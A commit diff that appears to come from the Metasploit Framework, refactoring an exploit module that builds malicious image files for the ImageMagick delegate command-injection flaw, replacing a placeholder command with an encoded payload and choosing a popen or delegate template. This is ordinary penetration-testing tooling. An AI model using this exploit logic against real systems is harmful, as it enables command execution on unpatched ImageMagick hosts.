Update module logic

Author: wvu

modules/exploits/unix/fileformat/imagemagick_delegate.rb

@@ -83,19 +83,24 @@ def exploit
       p = payload.encoded
     end
 
+    file_create(template.sub('echo vulnerable > /dev/tty', p))
+  end
+
+  def template
     if datastore['HAVE_POPEN']
-      file_create(template.sub('touch vulnerable', p))
+      t = 'popen'
     else
-      file_create(template.sub('echo vulnerable', p))
+      t = 'delegate'
     end
-  end
 
-  def template
-    File.read(File.join(
-      Msf::Config.data_directory, 'exploits', 'imagemagick',
-      datastore['HAVE_POPEN'] ? 'popen' : 'delegate',
-      target[:template]
-    ))
+    begin
+      File.read(File.join(
+        Msf::Config.data_directory, 'exploits', 'imagemagick', t,
+        target[:template]
+      ))
+    rescue Errno::ENOENT
+      fail_with(Failure::BadConfig, "Target has no #{t} support")
+    end
   end
 
 end